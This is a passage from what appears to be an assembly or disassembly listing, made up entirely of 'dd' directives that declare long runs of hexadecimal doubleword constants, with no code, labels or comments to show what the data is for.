dd 7A449482h, 90FF5785h, 83D7F4C1h, 0E5318A32h, 97F884E6h
dd 6743224Fh, 7CF7C52Bh, 88B8C36Fh, 2561242Fh, 0D206542Ch
dd 0DD4762D9h, 8302391h, 3FC020C8h, 4920BDD6h, 928C089h
dd 662303B4h, 5683A5E6h, 0FC868EF7h, 0D348081Fh, 0C130437Ch
dd 0E515D954h, 5E055189h, 11A67022h, 8101984Fh, 829DE538h
dd 44BCC24h, 0BF839B1Dh, 204DE11h, 490FBF5Dh, 0D450385h
dd 0B8A33810h, 89C1E446h, 843ACD6Fh, 1CEBA539h, 0DD703C34h
dd 0B9EDFD77h, 33C1DF39h, 705BB543h, 0ACE84506h, 0E5203987h
dd 0B2A32B7Ah, 1B6C6070h, 0C58841DFh, 330C5D5h, 0D9706CB2h
dd 68FDF808h, 82250C88h, 1E8AC370h, 92B03970h, 18E08629h
dd 23E338B9h, 398770ADh, 0BE2864A9h, 0A609B303h, 8107BC3h
dd 83134DE3h, 7CEC7CE5h, 0D371CC18h, 900145B9h, 0E5C32640h
dd 0D2F0FBD0h, 39C4D157h, 430328A5h, 8241FE6h, 45F85CEEh
dd 225B1032h, 71851287h, 0BEE77C49h, 0CA850CF4h, 0E539F554h
dd 541E3A26h, 0F0EC1F15h, 226AF6B1h, 462C87FBh, 5A1944D5h
dd 0BC41B009h, 0F45F2023h, 83DA0204h, 310D23A0h, 0A3085B41h
dd 0A068221Dh, 0C239B20Eh, 0CBD30541h, 5F1AFC41h, 2F4F02F8h
dd 22876984h, 0C0C1CAF2h, 27C5B1Ah, 0F9A07B6Ah, 54503B6h
dd 0ECA37015h, 0DD2FF0F0h, 0B6E32283h, 3380962h, 4ECBEEBh
dd 294D8EDCh, 39A44CB6h, 90CC5C44h, 2310E631h, 2F45FECh
dd 5002B792h, 396926BBh, 16984054h, 15817CADh, 8F74CB45h
dd 0E111C500h, 1B5774B8h, 0B032C3F0h, 26B6EAAFh, 232B3814h
dd 0D8E0EC16h, 444E9B6Fh, 38C929BBh, 36815C3h, 0CB762163h
dd 2866717Ch, 23E97239h, 1BC010E9h, 0A4865A63h, 402C62F0h
dd 0F0BEE283h, 2CB4BC04h, 53448DFBh, 9960CE1h, 1089CC6Ah
dd 2C514308h, 24A6F1E0h, 9C96274h, 4938A421h, 9FE9C304h
dd 3B570210h, 268DC049h, 0A366B19Bh, 52681609h, 6BA09C43h
dd 0A4440AD0h, 63BA40E5h, 8C405C6Eh, 80010931h, 0B0C31B83h
dd 31D4D103h, 23109008h, 4B05FD3h, 55BC0491h, 81C0C545h
dd 5FD4E3D4h, 88E604B0h, 2542B2D3h, 9885FD99h, 3D907CD1h
dd 0E6673911h, 0E924050Ch, 8C566C8h, 0C449B423h, 418BE15h
dd 0C21483EEh, 0D2495B8Dh, 23B0A4AFh, 0FC02A09Fh, 894CF1FEh
dd 0E8634501h, 7CB6D002h, 2B34890Ch, 70A53948h, 23A60C58h
dd 0A740CA1Bh, 398309C8h, 541168B1h, 2D0890CBh, 20FA231Fh
dd 76E48954h, 28C3A381h, 0F8E01CC1h, 0F9ECA98Ah, 1DE8C207h
dd 604624C1h, 2458630Ch, 4FE31248h, 5E12501Eh, 0F8CF5448h
dd 47E62517h, 0C72D8944h, 7ACFE3C8h, 0AC09B3E4h, 6266A87Ch
dd 62116CD1h, 33C3C896h, 0BEC2E449h, 0D9C53308h, 0BFD1338Dh
dd 0E9207F09h, 3C3337Dh, 0E1200B19h, 948331CFh, 0F22F4310h
dd 67E91A06h, 58A3080Ah, 0C3F8B898h, 65E38353h, 20270920h
dd 43242883h, 0F8FBB4CDh, 457DE81Fh, 8858F689h, 0D1E13664h
dd 9202A09Fh, 8CBD549Dh, 340782Eh, 0CFB9C93Ah, 1708283Eh
dd 0BA9F251Dh, 0C340BEB1h, 7C099207h, 1CA3C804h, 7B13889Fh
dd 89E31893h, 0B8504105h, 84931994h, 67DBFEE0h, 1039DF1Ch
dd 1D031640h, 8CDC247Dh, 399162EBh, 43070E45h, 0C243EDBh
dd 835B6FC8h, 54A1A539h, 48705B0Bh, 5EDC1811h, 80D78539h
dd 0B96580E3h, 746C1708h, 22901157h, 45E50CD4h, 0AD1578BCh
dd 882A9F74h, 0C5857F52h, 0EC0A95F2h, 0E309D043h, 2960A4C3h
dd 0CB2A2CA0h, 0B8827609h, 88BE1983h, 0A22F613Ah, 65257EDCh
dd 7C1940A4h, 9D115D88h, 50A4F79h, 0BC0ACE8h, 828FD9Ch
dd 30F8F888h, 8B1DD110h, 0A364337Ch, 0D8135578h, 881D6B43h
dd 827412h, 0C0847B03h, 5F129485h, 2845BA40h, 5094A937h
dd 2843B4C7h, 24B8A6B8h, 38B097CAh, 0A34A1A4h, 1BA0DF8Ch
dd 75A128BBh, 0D07F01CFh, 446A3893h, 83F13DB0h, 8156384h
dd 0B24830C3h, 0EE956362h, 84A51991h, 886F58B4h, 8C276308h
dd 0B988B3FAh, 8308BD67h, 5858C2F9h, 782F4F5Ch, 851BB98Ch
dd 0B2692BC6h, 0A1C30342h, 20580920h, 23103043h, 2D28BCE7h
dd 6F6310B8h, 0BC032796h, 2DC70CDCh, 0E569C07Bh, 40B20A24h
dd 2348D518h, 190090EAh, 8B9B683h, 0E0243DFEh, 62BE57E5h
dd 0EC551B9h, 0ADB54301h, 0C4368447h, 0F3609C49h, 48EE36D8h
dd 1960BF49h, 0AC38A5DDh, 34E3E041h, 6A06A05Fh, 414F2C89h
dd 2BF00520h, 0E1883323h, 0C2C8E2B0h, 79EF8C2Fh, 827CADCBh
dd 52B06B2Ah, 0B6C74522h, 8DBC0F70h, 3FD0274Ch, 0EC9CA8A5h
dd 6CAD07ECh, 155B1002h, 0C40C463Eh, 0F7C8E338h, 2FD281D8h
dd 0F448CAC3h, 88B051ABh, 0CC144744h, 9480662Dh, 0FC831008h
dd 88AE26B6h, 3FFC78Bh, 20F391A8h, 2312B408h, 0E805F450h
dd 3CD6FD0Bh, 0EEE31008h, 0F16410F0h, 4DA8612h, 0C1E56CC8h
dd 94EE2924h, 19B19010h, 6F11D643h, 0E2C4C300h, 83B38CCh
dd 18994DA3h, 23086E31h, 0F0D461C8h, 84981D04h, 0A04C22F1h
dd 84434D68h, 94A28524h, 0A3F0C61Bh, 0A3101822h, 0AF43E8FAh
dd 0E4211C94h, 3183B150h, 25598863h, 0A02301A6h, 0E8F9A021h
dd 0C02F8204h, 0D2FF8441h, 94059805h, 9C4B4AC3h, 85C80F7Bh
dd 30C308E9h, 0E3D81259h, 35087CF6h, 0FA77C71Fh, 0EC0526A0h
dd 7CCD9280h, 0FA081208h, 3EBFE836h, 0ED881B2Ah, 0F502A45Fh
dd 0C0E3D9D8h, 0DEEB4503h, 94CC5770h, 0A2E83CC1h, 0A5398508h
dd 940E995Dh, 0B8507665h, 7C032884h, 0B2C1CB47h, 9EBB1D7Dh
dd 7C268551h, 0E3088898h, 8380AFFAh, 21FE27B9h, 23E54110h
dd 4345C322h, 0BA04841Bh, 45B6A646h, 0A005D3C5h, 0FC4ABBE3h
dd 5AF888FAh, 60322282h, 797F2533h, 77087661h, 301D814Dh
dd 0E37239Ch, 0BE0960AAh, 0FA11047Ch, 4CC0BC02h, 0CD2E5180h
dd 0D1584A99h, 3603011Ah, 9410CC74h, 683F1B0Ch, 230222A2h
dd 8A4BEFFh, 0EF39B5FFh, 574422BEh, 60C0A0CEh, 0BFB7E912h
dd 0D40C4580h, 83A8B8A1h, 737B6618h, 0C96DA571h, 183ECE39h
dd 0A6814E08h, 6CC54566h, 4611826Ch, 0E513A449h, 33C4B09h
dd 1EC05CC7h, 4053498Eh, 9928C5A5h, 4F6290CDh, 26DE308h
dd 1853BD83h, 0EA27C4C0h, 25A840FDh, 2C4CD959h, 0A96006Ch
dd 0E1C8204Bh, 0B0240760h, 89864F8h, 350810Ah, 6CB82489h
dd 0B2C308CFh, 0E4430402h, 485C50A0h, 4025C4DEh, 8416406h
dd 9BB7F5F1h, 0E108D630h, 2897FEFFh, 83A40247h, 4C70F41Fh
dd 32C8144Ch, 9340952h, 0C21C6C07h, 0BC835BC3h, 0F043B943h
dd 3C8B0A4h, 0EF1D2FF7h, 96E5D483h, 0AFA982Eh, 8C56D0Ch
dd 0B5D63CADh, 5BF2D00h, 47A90DA5h, 3C2BCF00h, 6B8FA262h
dd 6EB80040h, 0C9A03A43h, 0F7012D29h, 0A50641CFh, 1C5BFE4Dh
dd 33BC9302h, 0EF072823h, 0A00D1DB8h, 30804D46h, 2A0309A1h
dd 31880F81h, 0E178AA8Dh
dd 0EE053136h, 88DD2FA1h, 3AC5CDD8h, 8A811C53h, 11A7B4ABh
dd 685BC54Fh, 1D183A3Eh, 716F31E0h, 0CA4D68C5h, 900F686Ch
dd 39DF6F8Ah, 0AD0AA888h, 19D86CF3h, 40CEEAFDh, 1863AFFCh
dd 0A09CBD39h, 0CC09C40Dh, 4D08CE40h, 40AD4B40h, 361EED05h
dd 0F415A4F0h, 0E89BF384h, 80FB3758h, 95FFA7CFh, 0F088C168h
dd 62A12678h, 8DEF3910h, 887CC225h, 0C94618ABh, 0CF0F397Bh
dd 0C5D34D80h, 7CC10D08h, 518D88Ch, 2F4165EFh, 2B6890F9h
dd 6074BF8Dh, 0DB757F19h, 0AD4FA8A8h, 7A389966h, 9AED2008h
dd 0FE604D20h, 630D809Dh, 0ED315C90h, 9ACD089Bh, 4744AD01h
dd 48E385B4h, 6D0CF8BCh, 500D0842h, 548DC056h, 0C8BDC4B2h
dd 7791AC09h, 28566A22h, 1369C160h, 6F119D32h, 0DF88A24h
dd 90F8B82Ch, 2F5B22ACh, 38CE58F8h, 0F0B4F5EDh, 44EB42C9h
dd 9B37AFE1h, 0A7197080h, 1848EF20h, 0D14D08C6h, 0F0415092h
dd 686CEDE3h, 0DA7E0870h, 0CF0CF269h, 49CD609Eh, 7FF13CFBh
dd 0F274F4ECh, 39956789h, 0F4378854h, 99C58608h, 0A2E18741h
dd 5FFC8D01h, 0FE220498h, 0F46C450h, 0E2ED6001h, 0EC0898BEh
dd 94B5E531h, 0C3A8E82Fh, 0EE62F97Fh, 82144F31h, 0BE2EEDD5h
dd 0BCC0C80h, 6F39956Ch, 0F3B51320h, 0F76D4C20h, 1154D01h
dd 8D01440Dh, 9EAD0168h, 84BE2712h, 23DDC0Ah, 19BEB465h
dd 7068A6E0h, 7EE98C21h, 8983A024h, 259D125Fh, 27987C27h
dd 48337308h, 0F5AF0A2Dh, 736DD87Ch, 0D49F9329h, 0E05E8C83h
dd 0EF4118DFh, 0AD2C88A7h, 0C0F9A0CAh, 0AB2830FAh, 85C807BFh
dd 34DD3678h, 8F4C9113h, 0E450898Dh, 38300395h, 96081881h
dd 0EB18F0B8h, 62DAB1Bh, 0B603E208h, 3EB8C27Ch, 349179E0h
dd 2322E2EFh, 34D4C0AEh, 315C90B1h, 8D8A325h, 2F188DA2h
dd 0DBDD70CCh, 78C24DD0h, 63F0F8DAh, 0D4D510CDh, 3204ADE1h
dd 60BFA0C4h, 2078A684h, 20A3770Fh, 2FADF008h, 908718AEh
dd 8DF306Dh, 1BB45A14h, 0C2A024EDh, 60D0397h, 9F0A0918h
dd 0CEAC120h, 0E7D28DABh, 0E6642C98h, 0D037D08h, 0D018E92Ah
dd 5228D279h, 67CDF8E5h, 48EEE9B6h, 8D088718h, 10CE65B7h
dd 2D8006DEh, 54F8F8F6h, 78444382h, 0F3281F08h, 7D0392A4h
dd 0EC8012Ch, 412F1CF6h, 52CBC93Fh, 848298FCh, 100D8CCDh
dd 925304D2h, 84A42138h, 69191F61h, 84526E09h, 0E94D03F0h
dd 0F720087Ch, 8FC444E7h, 242D88A0h, 0C4174D80h, 482ADF0h
dd 0CD06FB8Dh, 805009A1h, 59404DFCh, 6D5B400Dh, 2D08B862h
dd 0A8804F15h, 8B082300h, 0F01B4F8Ch, 0F8DB54EDh, 9DE1CC22h
dd 3A418DD0h, 0C888B021h, 0D590100Dh, 109A2D10h, 8D142B4Dh
dd 0D19E85Ah, 132DC9D6h, 54C0784Dh, 9115D85Eh, 0F78E589Ch
dd 546F198Eh, 0A1CEA8ACh, 1412F4B1h, 0C011802Bh, 848FC28Ah
dd 27A486C5h, 0ED8D2850h, 91C7FCB0h, 0E25E5824h, 0AFEA4084h
dd 761CF648h, 0C7E84D54h, 0D062CCA5h, 0CF24989Ch, 303898AFh
dd 8D088CADh, 10CABB3Ch, 143EC47Fh, 31A4D189h, 0CE0D08D3h
dd 14E1B453h, 0B4C0AD08h, 4AC5ED12h, 56B8C994h, 44F69E29h
dd 97CEEF89h, 888A102Ch, 0E0489FEAh, 1494FB48h, 0ACA8C80Dh
dd 12F747CEh, 0CC4A902Fh, 5656A411h, 4F144458h, 5276985Ah
dd 76B18012h, 486F1CF3h, 0ED125C15h, 12C04A38h, 0AEB5688h
dd 46ED8F12h, 48E549A0h, 29107249h, 7E598CCEh, 3E54C52h
dd 4811A1AFh, 6B26AE6Dh, 94D7BB9Ch, 747D83C1h, 0CF498C2Fh
dd 8063918Eh, 8C5996Dh, 987CE0CDh, 23580909h, 142EE694h
dd 5FDF81D9h, 4B880590h, 6831A74Eh, 845FE60Fh, 971B7062h
dd 0E12F1C98h, 70B178ADh, 4F1CA43Eh, 7B4170A5h, 1C487880h
dd 3CB55C6Fh, 4BF6D12h, 0D290EDC8h, 0A4A443FCh, 0B08D0E1Ch
dd 4A9D0D16h, 568CF85Ch, 0A8A5FE23h, 0D70C31Ch, 8189428h
dd 0B668E8B3h, 0EA08C4EBh, 0F90082DDh, 834368BEh, 0AF24E420h
dd 3597B05Fh, 26684448h, 18A319B4h, 0EDE0893Dh, 76F8410Eh
dd 4827D197h, 8D0A8C40h, 21FBE012h, 81B116E0h, 0AD013CCFh
dd 0FFD42556h, 405150EEh, 5F0FF9A8h, 33D8629Ch, 0EF2C9895h
dd 0CED9C90Bh, 6B0D4482h, 102A869h, 7190C22Dh, 0ED0D084Dh
dd 0E0011BD1h, 65DA0AA1h, 0AD089C78h, 166D2B60h, 8EE8ECB4h
dd 550F0A85h, 25ED0CE0h, 0B0A0FA81h, 0ACA9504Dh, 0ED08895Bh
dd 0A1E0A470h, 9F108D04h, 43804070h, 522F0C85h, 0F9644D70h
dd 0AD04CB09h, 268D0504h, 814BFC91h, 0C82D088Ch, 9C6DAE0h
dd 6530B071h, 0D39209AEh, 6D45C84h, 6210B68Dh, 57ED0849h
dd 885F88E9h, 86B6D08h, 0D046ACDh, 508A29Ch, 9E66793Eh
dd 20082528h, 0ED54588Dh, 8A624DCCh, 2D16D08h, 8D01890Dh
dd 9A02E7C8h, 0CBC0B0Bh, 0C9E93840h, 0C4252208h, 0AD44D236h
dd 343E6869h, 0F4A01B70h, 8DFA2EDh, 2D103FD0h, 968D114Ah
dd 0D193020h, 6420D87Bh, 0DB2C02D2h, 8493F104h, 0DD1120C4h
dd 24966D20h, 9120744Dh, 0DCE32E97h, 3092999h, 8C49006h
dd 0ED04B08Dh, 5A921F3Ah, 20F0EC83h, 7CFC8809h, 91FD8D80h
dd 0A0E59B8h, 1D5E4F12h, 0F4289400h, 48B7487Ah, 0E4D8CD14h
dd 0D4E65474h, 4AF0BA81h, 0A4D80607h, 0A86288CEh, 0A4534D08h
dd 2D0427A4h, 0FC6D04C0h, 0E690C848h, 29E24D19h, 0FEAD03B7h
dd 39926441h, 0CA0D0598h, 0CB17A01Fh, 11CE684Ch, 3C6D80E5h
dd 0AC41BD89h, 1032FECDh, 6F5068B7h, 5D8C925Ch, 69265418h
dd 52CD04E8h, 264209BAh, 31099670h, 85B8E464h, 50EF02E6h
dd 81CB7478h, 10C199F9h, 4243E09h, 581899FDh, 268EA956h
dd 8CFC1C8Fh, 0B1908D68h, 0F261D892h, 0AD576DA8h, 0A83CC025h
dd 98DD2A18h, 0BD81E70Fh, 426D088Ch, 2140CDB0h, 8584BEDh
dd 0D09EBB8h, 903095C2h, 0C17C833h, 2A8920AFh, 0F3AD08C4h
dd 1625DC93h, 2B1B2D60h, 0D31E3FCCh, 0E2CF182Ch, 945C4DF8h
dd 0CFCB13A4h, 0D4B18014h, 80FD69F3h, 1093E06Fh, 74E892E0h
dd 1531DF87h, 0AEB75C13h, 0B4736665h, 50A714D4h, 70F17467h
dd 0EF01CD99h, 0C11027EAh, 0B3C7D244h, 0E50F318Ah, 0C9F6D868h
dd 0CC403BEAh, 50E4532Fh, 33A856B0h, 27BF5A20h, 0AC9F18CFh
dd 0D0754F0Ch, 6909C050h, 0BB0B57A9h, 9D1D78F6h, 6D00DA1Dh
dd 5D93A7C2h, 8A28C25Ah, 4C0A863h, 363FF11Ch, 0D252804Eh
dd 70C443D8h, 2BBA0737h, 70476F16h, 3A4CEBCh, 4D6BDF00h
dd 0FCEA80B7h, 3126070Dh, 0F0C9778Dh, 0B5D3D66Dh, 15E1B901h
dd 0A6CF204Ah, 4BF4A040h, 0E01900C9h, 2AAFDB49h, 0B11EE113h
dd 7280481Dh, 70F9E5B5h, 5AE49Fh, 0D1857129h, 9B348E96h
dd 941E6B07h, 0CA57D369h, 0D81BAF43h, 342D9B9h, 1D4FF2Bh
dd 46C303EEh, 8E8100A7h, 4E01E8FDh, 20496450h, 29D47CDCh
dd 0EAFF4D0h, 5AD512EBh, 0B9767220h, 3300918Fh, 5D612D86h
dd 1E118877h, 0B9092FE4h, 0A07A8C01h, 0C883A90Ah, 0E0070B90h
dd 2DE5851Ch, 337C41D1h, 0E25F0D30h, 0E88A0037h, 10A15A9Ah
dd 6404D7F8h, 85B425E1h, 2BD7880h, 58B0004Bh, 0CEBFC83Dh
dd 89014956h, 0A13606A8h, 29DCEC38h, 0AC2C004Ch, 0FFC14072h
dd 7400F4B0h, 0CAFEF08Eh, 6A952h, 82F3C0D2h, 83363FEAh
dd 0E8625E00h, 7385F830h, 81804E6h, 90A929B5h, 772FD00Ch
dd 105E48h, 0D5900FFBh, 0BC860Bh, 0BA486BA0h, 0B2D99AB8h
dd 0CE05AA00h, 0EACB7972h, 54D21E8Fh, 5802408Eh, 17E1B757h
dd 2F75A074h, 323BCC00h
dd 8F665501h, 54A3002Ch, 5EC0FA94h, 0D50082BDh, 0B1CAC461h
dd 0F6D998h, 311A6EDEh, 31891A8h, 0D3320407h, 0AC4007C7h
dd 0EB3A6Fh, 2B5B2DCFh, 0DE6E0885h, 0DD0EAD0Fh, 0A7894EFAh
dd 0B2802ED9h, 69C7D7h, 0F566F14h, 371ACA54h, 83CE5500h
dd 0A9996A8Fh, 81EF0094h, 221128D0h, 0D300D531h, 0F7EA472Bh
dd 89C642h, 97569EAFh, 0C1E537B7h, 1C921B00h, 0E70DA1D3h
dd 81ED0021h, 2B2AE27Bh, 2C0241DBh, 0C801D589h, 0D9ACA3CBh
dd 5CC807FEh, 0D00ADAEFh, 8A61406Eh, 1C0020ECh, 71227241h
dd 7D77C067h, 56D801E5h, 29947BC7h, 43B050D1h, 890001EBh
dd 0AA767073h, 48531184h, 0CF0F88A1h, 820FDC9Ah, 76B24600h
dd 5B00A6F6h, 5C9099BFh, 0FCF930D4h, 639800E7h, 0D9C6E9C5h
dd 0B400A661h, 0B858108Fh, 0CED49Eh, 0C0660F16h, 12F7ED54h
dd 0C65D2701h, 6C2EBCC4h, 3DC2BEDCh, 4B81051Fh, 0ACF60FC1h
dd 16B6E436h, 1701C07Fh, 0ABE8DC7Fh, 0D5F46201h, 0C3E01F1h
dd 169953B1h, 0E031E4BEh, 9F001090h, 5F7E28C7h, 1C405DBh
dd 230BF52Ch, 0C551FF99h, 47E6F855h, 0C4804650h, 0B1950718h
dd 590FF0h, 3FFE4564h, 0AF5CEF78h, 0C20EE100h, 9F30A8Bh
dd 0FA1D0084h, 0D5A99B6Dh, 0E60E6E38h, 80181611h, 9112B9DAh
dd 2B3E003Ch, 0B0CF5B8Fh, 0FB75CB73h, 6230BC00h, 55072601h
dd 3AAF0050h, 0A02A1834h, 0DD1385F7h, 0FB0BC4h, 51EC44F0h
dd 2E00B9E7h, 0F4925DE5h, 38F5CD6h, 0AA65DBF3h, 0BCA06149h
dd 7C00E654h, 0F7C516B0h, 0A0080E44h, 15FCDB4h, 551917A1h
dd 303D85BEh, 1B0B90E4h, 0A0D8489Fh, 1620473Eh, 7B300A1h
dd 7A6D5B4Ch, 727A9F5Ah, 0D11D950Ah, 0F600B074h, 0BC915FE4h
dd 9B220005h, 68333EC2h, 0BE4277Bh, 0A076C10Fh, 0E150E04Dh
dd 9D4EEE4h, 35CC44B8h, 50EC3487h, 55945A5h, 28764B02h
dd 60BCDE90h, 7B5093C8h, 0FC4600D6h, 1A27EE61h, 320087AEh
dd 882BDF7Bh, 7234E2Fh, 423BD96Bh, 3E561048h, 8F003F38h
dd 469B6CD6h, 347F20h, 45A097CAh, 83EF5BE5h, 6A27A306h
dd 0EA64F30h, 0B30F7310h, 7D1FE5h, 0A198D1F8h, 6D00690Eh
dd 0B4A8ED4Dh, 0D8EEF5h, 0D049F432h, 5674BEC9h, 4ACE521Fh
dd 0AF31E207h, 72718671h, 0AE5E80C3h, 0ECE400F3h, 0D16C407Bh
dd 0E901939Ah, 0DE969B52h, 6030CF5Eh, 0B04602E6h, 0D2AFB3C8h
dd 0C59F08C0h, 0CA60990Eh, 35005D3Fh, 78EC0C3Dh, 0F610F59h
dd 63A07ECDh, 0BDB914F4h, 49AB8500h, 953E71D9h, 90CB00F0h
dd 8260113Bh, 5A00F79Ah, 0B73C0F19h, 0DFD4BFh, 0CF80EA44h
dd 0CDEEE87Dh, 0A00A7300h, 3C5941ECh, 785D0130h, 0AEA1C68Fh
dd 82C8DC14h, 9163DE00h, 95C125FCh, 0A55B00E3h, 0F1D6F64Ah
dd 56000803h, 4EDDDABDh, 0A47CDCCh, 0C2C7B685h, 4B581DECh
dd 0EC001EDCh, 0A1F63850h, 0C5C5301h, 95E2C5D2h, 142FFCCh
dd 0F99B89E0h, 0C851126Eh, 8B0ECA41h, 7468DCB0h, 5D2300CCh
dd 37808EA9h, 1C2F0043h, 68CF7866h, 0C800E244h, 0A2DE028h
dd 1814722Ah, 109B4733h, 0E01ED12h, 711C0960h, 0CEE0EA45h
dd 6B4A58E0h, 87724h, 0D10A218Eh, 0A700C4F1h, 0FA1B10E8h
dd 3AE4CA5h, 0E99F65B5h, 49A0E01Fh, 0C00739E7h, 1AC6EB21h
dd 0C8134CB3h, 137C292h, 0A0A26E1Ch, 21B3488Eh, 0EC0DD4FCh
dd 80F74F3Ch, 0F098305Fh, 15283CDh, 0FBC6B078h, 0F8B74604h
dd 911D1705h, 3700447Bh, 858850C1h, 0E7905C3h, 0D1358DECh
dd 0E8951BACh, 4601F3EFh, 29D738F2h, 1ED4ADC9h, 0B63000E5h
dd 0DB1625EAh, 0F01410DDh, 7BA04089h, 0AE8138h, 37E0E6C1h
dd 2AD9BDh, 0B2697698h, 0D6AFB63Ah, 0FB001EECh, 3F678D77h
dd 3CC7DF51h, 2980AC20h, 85180D80h, 0BE007A61h, 62DABFE4h
dd 2C8C45h, 91FFA4FDh, 199389B3h, 531FAB7Ch, 4CEC81EBh
dd 0E1DFB100h, 0C0F0A1BAh, 61F62780h, 2E000ADBh, 0D4969111h
dd 64443Ah, 37B4F27Eh, 48FB4DB2h, 0E3E53B02h
dd 0EFE6B040h, 26B681DCh, 30E7F311h, 8077CF18h, 0B4D31E01h
dd 6ED01D16h, 1A8B2FE9h, 9820A01Fh, 2A436B26h, 0ECB0700Eh
dd 7D1769FDh, 0E4C9A083h, 9EEED3C1h, 2000C111h, 0F02AD7B3h
dd 448B002Fh, 5FD3781h, 0B6012C40h, 5562B78Fh, 747289D6h
dd 0E4B1F403h, 44A1A8DEh, 0F3EE80D7h, 5F92A181h, 0D3F018C8h
dd 528CE208h, 0E1804C00h, 8B449D12h, 3E8104F4h, 0A0618311h
dd 590062A8h, 0E8DEEBB0h, 7F06791h, 853DB608h, 9D2601Fh
dd 15002556h, 78F48C3Fh, 188C37Eh, 28E05E54h, 80AA7D60h
dd 0B6E84A99h, 7C010A5Ah, 0D4765452h, 5DB00ECDh, 0D6E68Eh
dd 0AE0E3B0Fh, 381CEAC4h, 84FD163h, 980077C0h, 9AD992E2h
dd 0ED6B14CFh, 4B0E94F0h, 4D013C7Ah, 0F00F4469h, 0D57C0EF9h
dd 261EFF0Fh, 92772095h, 56FC9Ch, 0A8B42ABCh, 67C4E806h
dd 149D4Dh, 0C236F227h, 0E52D5D9h, 0E399DC2Dh, 6249B3A3h
dd 0ED091096h, 807C7DA1h, 3CC8C976h, 1DA7BBEh, 73618DB9h
dd 0A09267B5h, 330A8E51h, 0A1E5A0E1h, 0F73C9D00h, 56FCBh
dd 0A984D194h, 344DD007h, 74D68313h, 628901AEh, 2C572572h
dd 65CF0064h, 5EAE390Dh, 0E84B94h, 0A015B70h, 260B38D8h
dd 80FAC054h, 0E699587Eh, 0B8A8557Dh, 0DA0CE4h, 1F627EC7h
dd 0B73B25F7h, 897C070Ch, 0E30615Bh, 0DC9D704h, 0B92A06C0h
dd 4D05BC6Ah, 1492D619h, 0A9C8D890h, 415C0051h, 97793536h
dd 36981ED5h, 7D3E5872h, 75B00080h, 9DCC087Ch, 0F80D07F9h
dd 8F09BA9Eh, 0ECE5099Bh, 0AC350044h, 4F1ADB30h, 14D8002Ch
dd 81CF750Ch, 28D9418Dh, 0C0605930h, 97380104h, 0D3846A91h
dd 1860852Eh, 0F980DD34h, 0CED4328Dh, 3E807631h, 5BDA6CE7h
dd 1A4DB906h, 401F28h, 9AE9A523h, 211B5CAEh, 18FA1831h
dd 7081A36Eh, 76AB083Ch, 9AA980B9h, 20FF0F14h, 0A2F81E84h
dd 7308F31Bh, 0EB79E105h, 0DC805F0Fh, 37351738h, 2089D630h
dd 6EA0A670h, 8AEB6A03h, 0C9B59BF1h, 80BFA1FDh, 2E1C1500h
dd 9C8D82EFh, 94665106h, 641DB6Dh, 5F041ACCh, 340120F9h
dd 6C816E41h, 0E374DBh, 1E538FA1h, 7E3E2D36h, 5B541DEEh
dd 4118D09Ch, 9E509516h, 0BCEE281Ch, 0CCAF38ACh, 0BAC1C3B1h
dd 2F63CC29h, 0C280D103h, 30988A8Fh, 0CA215D08h, 140C6475h
dd 99A16558h, 0B0E2031Ch, 0B66F0ABCh, 0CE2060C6h, 0CD00FC2h
dd 0A960BE7Bh, 739FBD54h, 0C9663612h, 0AE901400h, 0A2E5B4h
dd 0B32E92AFh, 0E101DD08h, 6152A30Fh, 8A4AC0BDh, 32AC3834h
dd 0C011C194h, 0CE1804BCh, 52107C16h, 1B690062h, 33BB5815h
dd 380089C2h, 0BF56EDE4h, 0F21F3BCEh, 12521BDFh, 27E42967h
dd 455EAD2h, 0B4DD20D7h, 583801Ch, 0C89C5C88h, 1C43D351h
dd 672922A0h, 43010300h, 0EC17975Dh, 75F500BFh, 51551F0Ch
dd 0B70084A3h, 2CDCC2B9h, 0B86FE649h, 0D9892612h, 369303F7h
dd 9CE98531h, 0A9FDDC92h, 56C17700h, 0E9EA421h, 6CD30024h
dd 39057B6Dh, 4F00BD57h, 0E27DF83Ch, 0E556B5h, 0B450AEC7h
dd 903D518Ah, 10EDBE00h, 5C58301Ch, 61A1036Fh, 5A9DF33Eh
dd 79F71000h, 64C68902h, 7382000Dh, 7E90548Eh, 6001B72Dh
dd 3242EDAAh, 0BC519F2Fh, 35CC87C5h, 0AD7080h, 39310E77h
dd 981978C6h, 93CAEE00h, 0CB041D72h, 185B70B7h, 28763261h
dd 0AA0037C6h, 0A936C530h, 8B447h, 0B1DD7E2Dh, 209EAC4Ah
dd 2B9DE700h, 6D7357A3h, 0C4FD15EFh, 1303FC81h, 89320A2Ah
dd 0D16CD2C0h, 2C110F00h, 0BEB91729h, 0FBD700E5h, 84C0A9D6h
dd 3500A2A3h, 0E3E88E77h, 26F1982Fh, 17DD2C8h, 0B076FECFh
dd 0A9989E72h, 0A0F85F81h, 2BE0079Eh, 7FD795Ah, 0E29894E8h
dd 3C202906h, 0D688715Ch, 0D304A570h, 75A36317h, 0F37EB083h
dd 0DF100B18h, 0F081D06Dh, 0C5FE0882h, 95C1808Bh, 796B9ED2h
dd 80C50027h, 0AEDE0F71h, 4D007514h, 134CD04h, 24D549h
dd 12DA1799h, 0EC1D0D97h, 0BD2DA200h, 0C42815F9h, 211A00FAh
dd 4DEB5C50h, 0B500656Fh, 0CED863CDh, 385AAD98h, 181F69B4h
dd 8C0B40B9h, 17D30F0h, 633C6D26h, 573E0600h, 3962CFh
dd 88707E2Bh, 0C0B1F16Eh, 0AC2A7F18h, 0FC011D10h, 2013038Dh
dd 76CD9875h, 3DD51803h, 0E0690E0Dh, 48080190h, 4400483Fh
dd 919F0CB9h, 7578A812h, 0C350BFECh, 0A601C68Ch, 0B904F526h
dd 6FFC1E4Fh, 6D2000F8h, 48BA06B4h, 92765E9Fh, 28525A00h
dd 33D5FEA8h, 1E129078h, 0C06E8BF5h, 6904EDCFh, 6700E9E5h
dd 8DF2C847h, 0F5D4AAh, 0FFFF42Eh, 7FB0ECDFh, 0BCA00C73h
dd 0A90023CCh, 696279Ah, 0FBB5347h, 9B367E6h, 0BD3DFAEFh
dd 11001D3Ch, 0F449F657h, 0AB4816B7h, 9AC001Bh, 5FC3F7B6h
dd 0D00B0019h, 936113DBh, 0E450FC6Eh, 44011CB6h, 31680D09h
dd 8FE8E2A4h, 136B002Ch, 1AFD6C1Bh, 0A60066D3h, 2393CD28h
dd 31408A4h, 0B113EC83h, 769161B3h, 0C09440BDh, 5E3DC6EFh
dd 15DA808Ch, 5A7DAC82h, 0FB432483h, 0C5040050h, 0FC1B6EF6h
dd 2F9610CEh, 0CCAE8055h, 0A1D22CF9h, 9421F890h, 0B310D0h
